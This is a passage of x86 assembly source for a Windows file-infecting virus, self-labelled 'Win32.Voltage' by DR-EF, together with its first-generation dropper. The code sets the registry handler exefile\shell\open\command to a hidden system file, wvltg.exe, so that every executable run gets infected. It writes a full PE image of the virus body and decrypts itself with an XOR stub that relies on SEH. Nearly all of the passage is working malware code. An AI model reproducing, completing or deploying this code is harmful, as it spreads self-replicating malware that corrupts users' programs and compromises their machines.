|
|
@counts:inc eax
|
||
|
|
inc ecx
|
||
|
|
cmp byte ptr [eax],0h
|
||
|
|
jne @counts
|
||
|
|
push ecx
|
||
|
|
lea eax,[ebp + ExeHookerValue]
|
||
|
|
push eax
|
||
|
|
push REG_SZ
|
||
|
|
xor eax,eax
|
||
|
|
push eax
|
||
|
|
push eax
|
||
|
|
push dword ptr [ebp + hkey] ;set virus hook at registry
|
||
|
|
call [ebp + RegSetValueEx] ;now every exe file that execute will get infected
|
||
|
|
closkey:push dword ptr [ebp + hkey]
|
||
|
|
call [ebp + RegCloseKey]
|
||
|
|
ExitInstall:
|
||
|
|
ret
|
||
|
|
|
||
|
|
VirusFile db 0ffh dup(0)
|
||
|
|
Buffer db 0ffh dup(0)
|
||
|
|
ExeHookerName db "\wvltg.exe",0
|
||
|
|
ExeHookKey db "exefile\shell\open\command",0
|
||
|
|
ExeHookerValue db '"',0ffh dup(0)
|
||
|
|
ExeHookerEndOfValue db '" "%1" %*',0
|
||
|
|
|
||
|
|
GPTR equ 0040h
|
||
|
|
FILE_ATTRIBUTE_NORMAL equ 00000080h
|
||
|
|
FILE_ATTRIBUTE_READONLY equ 00000001h
|
||
|
|
FILE_ATTRIBUTE_HIDDEN equ 00000002h
|
||
|
|
FILE_ATTRIBUTE_SYSTEM equ 00000004h
|
||
|
|
FILE_MAP_READ equ 00000004h
|
||
|
|
OPEN_EXISTING equ 3
|
||
|
|
OPEN_ALWAYS equ 4
|
||
|
|
FILE_SHARE_READ equ 00000001h
|
||
|
|
GENERIC_READ equ 80000000h
|
||
|
|
PAGE_READONLY equ 00000002h
|
||
|
|
HKEY_CLASSES_ROOT equ 80000000h
|
||
|
|
HKEY_CURRENT_USER equ 80000001h
|
||
|
|
REG_SZ equ 1h
|
||
|
|
KEY_WRITE equ 00020006h
|
||
|
|
KEY_READ equ 00020019h
|
||
|
|
KEY_QUERY_VALUE equ 0001h
|
||
|
|
ERROR_SUCCESS equ 0h
|
||
|
|
hkey dd 0
|
||
|
|
FILE_CURRENT equ 1
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
CreateVirusFile:
|
||
|
|
;create pe file that contain the pure virus code
|
||
|
|
;in the system directory under the name wvltg.exe
|
||
|
|
xor eax,eax
|
||
|
|
push eax
|
||
|
|
push FILE_ATTRIBUTE_READONLY or FILE_ATTRIBUTE_HIDDEN or FILE_ATTRIBUTE_SYSTEM
|
||
|
|
push OPEN_ALWAYS
|
||
|
|
push eax
|
||
|
|
push FILE_SHARE_READ
|
||
|
|
push GENERIC_READ or GENERIC_WRITE
|
||
|
|
lea eax,[ebp + Buffer]
|
||
|
|
push eax
|
||
|
|
call [ebp + CreateFile]
|
||
|
|
cmp eax,INVALID_HANDLE_VALUE
|
||
|
|
je CVF_Fail
|
||
|
|
mov [ebp + hvdfile],eax
|
||
|
|
;write virus headers
|
||
|
|
push 0h
|
||
|
|
lea eax,[ebp + written_bytes]
|
||
|
|
push eax
|
||
|
|
push SizeOfHeaders
|
||
|
|
lea eax,[ebp + VirusHeaders]
|
||
|
|
push eax
|
||
|
|
push [ebp + hvdfile]
|
||
|
|
call [ebp + WriteFile]
|
||
|
|
;set file pointer to offset 600h
|
||
|
|
push FILE_BEGIN
|
||
|
|
push 0h
|
||
|
|
push 600h
|
||
|
|
push [ebp + hvdfile]
|
||
|
|
call [ebp + SetFilePointer]
|
||
|
|
;write the virus code there
|
||
|
|
push 0h
|
||
|
|
lea eax,[ebp + written_bytes]
|
||
|
|
push eax
|
||
|
|
push VirusSize
|
||
|
|
lea eax,[ebp + _main]
|
||
|
|
push eax
|
||
|
|
push [ebp + hvdfile]
|
||
|
|
call [ebp + WriteFile]
|
||
|
|
;set file pointer to after (virus code + pad 200h)
|
||
|
|
push FILE_BEGIN
|
||
|
|
push 0h
|
||
|
|
push ImportSectionInFile
|
||
|
|
push [ebp + hvdfile]
|
||
|
|
call [ebp + SetFilePointer]
|
||
|
|
;write import section:
|
||
|
|
push 0h
|
||
|
|
lea eax,[ebp + written_bytes]
|
||
|
|
push eax
|
||
|
|
push SizeOfImportSection
|
||
|
|
lea eax,[ebp + ImportSection]
|
||
|
|
push eax
|
||
|
|
push [ebp + hvdfile]
|
||
|
|
call [ebp + WriteFile]
|
||
|
|
;align file size
|
||
|
|
push 0h
|
||
|
|
push [ebp + hvdfile]
|
||
|
|
call [ebp + GetFileSize]
|
||
|
|
push eax
|
||
|
|
xor edx,edx
|
||
|
|
mov ecx,1000h ;file alignment
|
||
|
|
div ecx
|
||
|
|
cmp edx,0h
|
||
|
|
je no_pad
|
||
|
|
sub ecx,edx
|
||
|
|
xchg ecx,edx
|
||
|
|
no_pad1:pop eax
|
||
|
|
add eax,edx
|
||
|
|
push FILE_BEGIN
|
||
|
|
push 0h
|
||
|
|
push eax
|
||
|
|
push [ebp + hvdfile]
|
||
|
|
call [ebp + SetFilePointer]
|
||
|
|
push [ebp + hvdfile]
|
||
|
|
call [ebp + SetEndOfFile]
|
||
|
|
push [ebp + hvdfile]
|
||
|
|
call [ebp + CloseHandle]
|
||
|
|
CVF_Fail:
|
||
|
|
ret
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
written_bytes dd 0
|
||
|
|
hvdfile dd 0 ;virus dropper file handle
|
||
|
|
|
||
|
|
|
||
|
|
IMAGE_DATA_DIRECTORY STRUC
|
||
|
|
DD_VirtualAddress DD BYTE PTR ?
|
||
|
|
DD_Size DD ?
|
||
|
|
IMAGE_DATA_DIRECTORY ENDS
|
||
|
|
|
||
|
|
|
||
|
|
VirusHeaders:
|
||
|
|
|
||
|
|
;mz header & dos stub program
|
||
|
|
|
||
|
|
db 04Dh,05Ah,090h,000h,003h,000h,000h,000h,004h,000h,000h,000h,0FFh,0FFh,000h,000h
|
||
|
|
db 0B8h,000h,000h,000h,000h,000h,000h,000h,040h,000h,000h,000h,000h,000h,000h,000h
|
||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h
|
||
|
|
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,080h,000h,000h,000h
|
||
|
|
db 00Eh,01Fh,0BAh,00Eh,000h,0B4h,009h,0CDh,021h,0B8h,001h,04Ch,0CDh,021h,054h,068h
|
||
|
|
db 069h,073h,020h,070h,072h,06Fh,067h,072h,061h,06Dh,020h,063h,061h,06Eh,06Eh,06Fh
|
||
|
|
db 074h,020h,062h,065h,020h,072h,075h,06Eh,020h,069h,06Eh,020h,044h,04Fh,053h,020h
|
||
|
|
db 06Dh,06Fh,064h,065h,02Eh,00Dh,00Dh,00Ah,024h,000h,000h,000h,000h,000h,000h,000h
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
;pe header:
|
||
|
|
|
||
|
|
PE_Magic DD 00004550h
|
||
|
|
Machine DW 014ch
|
||
|
|
NumberOfSections DW 2h
|
||
|
|
TimeDateStamp DD 3878561Ah
|
||
|
|
PointerToSymbolTable DD 0
|
||
|
|
NumberOfSymbols DD 0
|
||
|
|
SizeOfOptionalHeader DW SizeOfPeOptionalHeader
|
||
|
|
Characteristics DW 30Eh
|
||
|
|
|
||
|
|
Pe_OptionalHeader:
|
||
|
|
;pe optional header:
|
||
|
|
|
||
|
|
OH_Magic DW 010Bh
|
||
|
|
OH_MajorLinkerVersion DB 05h
|
||
|
|
OH_MinorLinkerVersion DB 0
|
||
|
|
OH_SizeOfCode DD 0
|
||
|
|
OH_SizeOfInitializedData DD (SizeOfImportSection+(200h-(SizeOfImportSection mod 200h)))
|
||
|
|
OH_SizeOfUninitializedData DD 0
|
||
|
|
OH_AddressOfEntryPoint DD (1000h+Wvltg_EntryPoint-_main) ;entry point!
|
||
|
|
OH_BaseOfCode DD 1000h ;code placed at 1000h
|
||
|
|
OH_BaseOfData DD (1000h+VirusSize+(1000h-(VirusSize mod 1000h))) ;placed after code in the memory
|
||
|
|
OH_ImageBase DD 400000h
|
||
|
|
OH_SectionAlignment DD 1000h
|
||
|
|
OH_FileAlignment DD 200h
|
||
|
|
OH_MajorOperatingSystemVersion DW 0004h
|
||
|
|
OH_MinorOperatingSystemVersion DW 0
|
||
|
|
OH_MajorImageVersion DW 0
|
||
|
|
OH_MinorImageVersion DW 0
|
||
|
|
OH_MajorSubsystemVersion DW 0004h
|
||
|
|
OH_MinorSubsystemVersion DW 0
|
||
|
|
OH_Win32VersionValue DD 0 ;reserved1
|
||
|
|
OH_SizeOfImage DD 8000h
|
||
|
|
OH_SizeOfHeaders DD SizeOfHeaders
|
||
|
|
OH_CheckSum DD 0
|
||
|
|
OH_Subsystem DW 0002h
|
||
|
|
OH_DllCharacteristics DW 0
|
||
|
|
OH_SizeOfStackReserve DD 00100000h
|
||
|
|
OH_SizeOfStackCommit DD 00002000h
|
||
|
|
OH_SizeOfHeapReserve DD 00100000h
|
||
|
|
OH_SizeOfHeapCommit DD 00001000h
|
||
|
|
OH_LoaderFlags DD 0
|
||
|
|
OH_NumberOfRvaAndSizes DD 00000010h
|
||
|
|
|
||
|
|
|
||
|
|
;pe data directory
|
||
|
|
|
||
|
|
DE_Export IMAGE_DATA_DIRECTORY ?
|
||
|
|
|
||
|
|
;DE_Import:
|
||
|
|
DD_VirtualAddress_ DD ImportSectionInTheMemory
|
||
|
|
DD_Size_ DD SizeOfImportSection
|
||
|
|
|
||
|
|
DE_Resource IMAGE_DATA_DIRECTORY ?
|
||
|
|
DE_Exception IMAGE_DATA_DIRECTORY ?
|
||
|
|
DE_Security IMAGE_DATA_DIRECTORY ?
|
||
|
|
DE_BaseReloc IMAGE_DATA_DIRECTORY ?
|
||
|
|
DE_Debug IMAGE_DATA_DIRECTORY ?
|
||
|
|
DE_Copyright IMAGE_DATA_DIRECTORY ?
|
||
|
|
DE_GlobalPtr IMAGE_DATA_DIRECTORY ?
|
||
|
|
DE_TLS IMAGE_DATA_DIRECTORY ?
|
||
|
|
DE_LoadConfig IMAGE_DATA_DIRECTORY ?
|
||
|
|
DE_BoundImport IMAGE_DATA_DIRECTORY ?
|
||
|
|
DE_IAT IMAGE_DATA_DIRECTORY ?
|
||
|
|
DE_Reserved1 IMAGE_DATA_DIRECTORY ?
|
||
|
|
DE_Reserved2 IMAGE_DATA_DIRECTORY ?
|
||
|
|
DE_Reserved3 IMAGE_DATA_DIRECTORY ?
|
||
|
|
|
||
|
|
|
||
|
|
SizeOfPeOptionalHeader = ($-Pe_OptionalHeader)
|
||
|
|
|
||
|
|
|
||
|
|
;wvltg's code section
|
||
|
|
|
||
|
|
SH_Name DB ".Voltage"
|
||
|
|
SH_VirtualSize DD VirusSize
|
||
|
|
SH_VirtualAddress DD 1000h
|
||
|
|
SH_SizeOfRawData DD (VirusSize+(200h-(VirusSize mod 200h)))
|
||
|
|
SH_PointerToRawData DD 600h
|
||
|
|
SH_PointerToRelocations DD 0
|
||
|
|
SH_PointerToLinenumbers DD 0
|
||
|
|
SH_NumberOfRelocations DW 0
|
||
|
|
SH_NumberOfLinenumbers DW 0
|
||
|
|
SH_Characteristics DD 0C0000000h
|
||
|
|
|
||
|
|
;wvltg's import section
|
||
|
|
|
||
|
|
SH_Name__ DB "(c)DR-EF"
|
||
|
|
SH_VirtualSize__ DD SizeOfImportSection
|
||
|
|
SH_VirtualAddress__ DD ImportSectionInTheMemory
|
||
|
|
SH_SizeOfRawData__ DD (SizeOfImportSection+(200h-(SizeOfImportSection mod 200h)))
|
||
|
|
SH_PointerToRawData__ DD ImportSectionInFile
|
||
|
|
SH_PointerToRelocations__ DD 0
|
||
|
|
SH_PointerToLinenumbers__ DD 0
|
||
|
|
SH_NumberOfRelocations__ DW 0
|
||
|
|
SH_NumberOfLinenumbers__ DW 0
|
||
|
|
SH_Characteristics__ DD 040000040h
|
||
|
|
|
||
|
|
|
||
|
|
SizeOfHeaders = ($-VirusHeaders)
|
||
|
|
|
||
|
|
ImportSectionInFile = (600h+VirusSize+(200h-(VirusSize mod 200h)))
|
||
|
|
|
||
|
|
ImportSectionInTheMemory = (1000h+VirusSize+(1000h-(VirusSize mod 1000h)))
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
ImportSection:
|
||
|
|
;dummy import section
|
||
|
|
|
||
|
|
|
||
|
|
ID_OriginalFirstThunk DD (ImportSectionInTheMemory+IMAGE_THUNK_DATA-ImportSection)
|
||
|
|
ID_TimeDateStamp DD 0
|
||
|
|
ID_ForwarderChain DD 0
|
||
|
|
ID_Name DD (ImportSectionInTheMemory+DLL_NAME- ImportSection)
|
||
|
|
ID_FirstThunk DD (ImportSectionInTheMemory+IMAGE_THUNK_DATA- ImportSection)
|
||
|
|
|
||
|
|
dd 0,0,0,0,0 ;empty IID=end of iid array
|
||
|
|
|
||
|
|
IMAGE_THUNK_DATA:
|
||
|
|
TD_AddressOfData DD (ImportSectionInTheMemory+IMPORT_BY_NAME- ImportSection)
|
||
|
|
TD_Ordinal DD ?
|
||
|
|
TD_Function DD ?
|
||
|
|
TD_ForwarderString DD 0
|
||
|
|
|
||
|
|
|
||
|
|
DLL_NAME db "KERNEL32.DLL",0
|
||
|
|
|
||
|
|
IMPORT_BY_NAME:
|
||
|
|
IBN_Hint DW 0
|
||
|
|
IBN_Name DB "GetProcAddress",0
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
SizeOfImportSection = ($-ImportSection)
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
ProcessCommandLine:
|
||
|
|
pushad ;set SEH to avoid errors
|
||
|
|
lea ebx,[ebp + CMDProcess_Err]
|
||
|
|
push ebx
|
||
|
|
xor ebx,ebx
|
||
|
|
push dword ptr fs:[ebx]
|
||
|
|
mov fs:[ebx],esp
|
||
|
|
lea edi,[ebp + HookerInformation]
|
||
|
|
xor eax,eax
|
||
|
|
mov ecx,SizeOfHookerInformation
|
||
|
|
@Blank: stosb ;blank some variable to avoid errors
|
||
|
|
loop @Blank ;in next generations
|
||
|
|
mov byte ptr [ebp + RunFromExeHooker],0
|
||
|
|
call [ebp + GetCommandLine]
|
||
|
|
@l1: inc eax ;get file path
|
||
|
|
cmp byte ptr [eax],'"'
|
||
|
|
jne @l1
|
||
|
|
cmp byte ptr [eax + 2h],'"'
|
||
|
|
jne ExitProcessCMD
|
||
|
|
add eax,3h
|
||
|
|
cmp byte ptr [eax],0
|
||
|
|
je ExitProcessCMD
|
||
|
|
xor edx,edx
|
||
|
|
lea ebx,[ebp + FileToInfect]
|
||
|
|
@l2: mov cl,byte ptr [eax]
|
||
|
|
cmp cl,'"'
|
||
|
|
je CpyParm
|
||
|
|
mov byte ptr [ebx],cl
|
||
|
|
inc ebx
|
||
|
|
inc eax
|
||
|
|
inc edx
|
||
|
|
jmp @l2
|
||
|
|
CpyParm:cmp byte ptr [eax + 3h],0 ;check if there is command line parameter
|
||
|
|
je ExitCommandLineProc
|
||
|
|
mov ecx,edx ;copy the file path to the command line
|
||
|
|
lea esi,[ebp + FileToInfect]
|
||
|
|
lea edi,[ebp + CommandLine]
|
||
|
|
rep movsb
|
||
|
|
lea esi,[ebp + CommandLine]
|
||
|
|
mov byte ptr [esi+edx],20h ;add space
|
||
|
|
lea ebx,[ebp + CommandLine]
|
||
|
|
add ebx,edx
|
||
|
|
inc ebx
|
||
|
|
add eax,2h
|
||
|
|
@l3: mov cl,byte ptr [eax]
|
||
|
|
cmp cl,0
|
||
|
|
je ExitCommandLineProc
|
||
|
|
mov byte ptr [ebx],cl
|
||
|
|
inc eax
|
||
|
|
inc ebx
|
||
|
|
jmp @l3
|
||
|
|
ExitCommandLineProc:
|
||
|
|
xor ecx,ecx
|
||
|
|
lea eax,[ebp + FileToInfect] ;get file directory
|
||
|
|
@l4: inc eax ;goto end of file name
|
||
|
|
inc ecx ;get file path size
|
||
|
|
cmp byte ptr [eax],0
|
||
|
|
jne @l4
|
||
|
|
@l5: dec eax
|
||
|
|
dec ecx
|
||
|
|
cmp byte ptr [eax],'\'
|
||
|
|
jne @l5
|
||
|
|
lea edi,[ebp + FileDirectory]
|
||
|
|
lea esi,[ebp + FileToInfect]
|
||
|
|
rep movsb
|
||
|
|
call [ebp + GetCommandLine] ;check if we running
|
||
|
|
ishook: mov ecx,0ah ;from the exe file
|
||
|
|
mov edi,eax ;hooker file or just
|
||
|
|
lea esi,[ebp + ExeHookerName] ;from infected exe
|
||
|
|
rep cmpsb ;that executed with
|
||
|
|
jne nxt_c ;command line.
|
||
|
|
inc byte ptr [ebp + RunFromExeHooker]
|
||
|
|
jmp ExitProcessCMD
|
||
|
|
nxt_c: inc eax
|
||
|
|
cmp byte ptr [eax],0h
|
||
|
|
jne ishook
|
||
|
|
ret
|
||
|
|
ExitProcessCMD:
|
||
|
|
pop dword ptr fs:[0]
|
||
|
|
add esp,4h
|
||
|
|
popad
|
||
|
|
ret
|
||
|
|
CMDProcess_Err:
|
||
|
|
mov esp,[esp + 8h]
|
||
|
|
pop dword ptr fs:[0] ;remove SEH
|
||
|
|
add esp,4h
|
||
|
|
popad
|
||
|
|
ret
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
HookerInformation:
|
||
|
|
|
||
|
|
RunFromExeHooker db 0
|
||
|
|
FileToInfect db 0ffh dup(0)
|
||
|
|
CommandLine db 0ffh dup(0)
|
||
|
|
FileDirectory db 0ffh dup(0)
|
||
|
|
|
||
|
|
SizeOfHookerInformation equ ($-HookerInformation)
|
||
|
|
|
||
|
|
get_apis:
|
||
|
|
;ecx - number of apis
|
||
|
|
;eax - address to api strings
|
||
|
|
;ebx - address to api address
|
||
|
|
;edx - module handle
|
||
|
|
NextAPI:
|
||
|
|
push ecx
|
||
|
|
push edx
|
||
|
|
push eax
|
||
|
|
push eax
|
||
|
|
push edx
|
||
|
|
call [ebp + __GetProcAddress]
|
||
|
|
cmp eax,0h
|
||
|
|
je ApiErr
|
||
|
|
mov dword ptr [ebx],eax
|
||
|
|
pop eax
|
||
|
|
NextSTR:inc eax
|
||
|
|
cmp byte ptr [eax],0h
|
||
|
|
jne NextSTR
|
||
|
|
inc eax
|
||
|
|
add ebx,4h
|
||
|
|
pop edx
|
||
|
|
pop ecx
|
||
|
|
loop NextAPI
|
||
|
|
stc
|
||
|
|
ret
|
||
|
|
ApiErr: add esp,0ch
|
||
|
|
clc
|
||
|
|
ret
|
||
|
|
|
||
|
|
|
||
|
|
EncryptedVirusEnd equ $
|
||
|
|
|
||
|
|
DecryptVirus:
|
||
|
|
mov esi,[esp] ;get return address
|
||
|
|
mov ecx,EncryptedVirus ;size of encrypted virus
|
||
|
|
push dword ptr fs:[0]
|
||
|
|
mov fs:[0],esp ;set SEH
|
||
|
|
decrypt:xor byte ptr [esi],0h
|
||
|
|
XorKey equ ($-1)
|
||
|
|
inc esi
|
||
|
|
loop decrypt
|
||
|
|
mov [ecx],eax ;use SEH to jump back to virus
|
||
|
|
|
||
|
|
|
||
|
|
db 30h dup(?) ;padding
|
||
|
|
VirusEnd equ $
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
FirstGenHost:
|
||
|
|
mov ebp,VirusSize
|
||
|
|
xor ebp,ebp ;first generation delta offset
|
||
|
|
push offset Exit
|
||
|
|
pushad
|
||
|
|
jmp VirusStart
|
||
|
|
Exit: push 0h
|
||
|
|
push offset Msg_Title
|
||
|
|
push offset Msg_Text
|
||
|
|
push 0h
|
||
|
|
call MessageBoxA
|
||
|
|
push eax
|
||
|
|
call [ExitProcess]
|
||
|
|
|
||
|
|
IF DEBUG
|
||
|
|
Msg_Title db "[Win32.Voltage - Debug Version] By DR-EF",0
|
||
|
|
Msg_Text db "First Generation Droppper.",0
|
||
|
|
ELSE
|
||
|
|
Msg_Title db "[Win32.Voltage - Relese Version] By DR-EF",0
|
||
|
|
Msg_Text db "First Generation Droppper.",0
|
||
|
|
ENDIF
|
||
|
|
|
||
|
|
end FirstGenHost
|